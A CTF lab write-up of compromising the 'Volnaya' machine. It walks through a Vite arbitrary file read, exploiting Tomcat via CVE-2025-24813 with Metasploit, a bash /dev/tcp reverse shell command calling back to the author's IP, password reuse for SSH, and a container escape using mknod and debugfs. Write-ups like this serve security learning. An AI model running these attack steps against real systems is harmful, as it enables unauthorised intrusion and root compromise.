I have exactly one write-up for this CTF. The challenge chosen was a Fullpwn, specifically a machine called Volnaya.
An enumeration of the machine with nmap reveals port 22 offering SSH services, and port 80 with an nginx web service. A peek at the web site showed nothing of any interest, but the technology serving the page did. It was running Vite 6.2.2. which has an arbitrary read vulnerability. With this, we can get all sorts of useful information. Well usually.

After checking lots of different locations the things of particular interest were /etc/password
, /etc/hosts
and /etc/fstab
. Most locations were revealing nothing at all, either as they weren’t present or we didn’t have access to them, and there is a big clue in those other three files. This is clearly a docker container and not the machine itself. Worth noting, nmap suggested this was an Ubuntu instance, but what does /etc/issue
show us…

What this enumeration has provided us with though is an important clue. Theres another container for us to look at. Time to update my own /etc/hosts
. A vhost called tomcat-dev01.volnaya.htb exists so lets add it.

What is being hosted here?

Apache Tomcat 9.0.97. A quick check reveals that this will be vulnerable to 3 different CVEs. The most major of these was a TOCTOU (Time-Of-Check, Time-Of-Use) vulnerability. However upon inspection this is not going to actually be vulnerable to CVE-2024-50379 as that is specific to Windows (or at least case-insensitive filesystems) and we are not dealing with that here. For unknown reasons I probed using the arbitrary read some more, but it’s a different container and theres nothing else useful there at all.
I did check to see if we had the ability to do PUT’s on to the system in case there was a really easy RCE. The fun was spoilt quickly though.

As you can see above, I got a file onto the box but thats a .Jsp
and we wanted a .jsp
:

And that clearly isn’t happening.
So it’s down to CVE-2025-24813. This got a lot of media attention just a couple of months ago as multiple boxes were being popped right, left and centre with it. The POC on GitHub did not prove useful in gaining access for me – but I have no idea if I was just not doing it right or I needed to “try harder”.
There is a Metasploit module pre-built for this exact purpose though, so why don’t we use that…

This has been configured with the CommonsCollections6 ysoserial gadget. If you try the defaults with this module nothing is going to work right, (as I found out), so I went for a very low tech payload.
bash -i >& /dev/tcp/10.10.14.60/4444 0>&1
On my own machine I’m running a simple web server hosting a file called test.sh
with this string in it. This also helps check if things are doing what I expect. As you can tell, I didn’t even bother customising the port!

Sure enough my basic nc listener caught the shell.

This allowed me to have a poke around and there was a user flag contained within it.

One of the things I was (embarrassingly) looking for on the other container was tomcat-users.xml
. Why? Well, that would have allowed me to log into the Tomcat manager GUI. Which I don’t need to do now, but my thought from the very beginning was that the machine would include password re-use. Therefore looking at the tomcat-users.xml
still seems like the right thing to do so:

Hello James. I wonder if this password might work elsewhere. Like on SSH?

We’re not shocked. I run the linpeas script to see what we have for PE. An earlier sudo -l
revealed nothing. Given that this box has so far been about containers, I had a feeling that this would be the road to root. Linpeas did one thing – it confirmed that feeling.
The containers were overprivileged and thus we probably have a way of using the container to go fishing on the filesystem.

The system is running from /dev/sda2
which we can find out is block 8,2 using ls -l
.

By creating a device node with mknod which points to this block we have ability to read the host filesystem. We aren’t done though. We can’t mount that from within the container, and if we’re going to access that node outside the container, we need a process running that ‘james’ will have access to. Therefore we create an unprivileged user called ‘logan’ on the container and we then login as this user. Next we create a super long-lived process that we will be able to locate on the outside of the container.

PID 70419
is running our sleep process. And of course every process has a handle to the filesystem from where it came. Therefore we have an unprivileged process, with a handle inside it thats got 777 permissions pointing to the underlying filesystem. Then its just a matter of using debugfs to mount that and we can see the entire filesystem as if we were root.
This was supposedly an easy box. I don’t agree!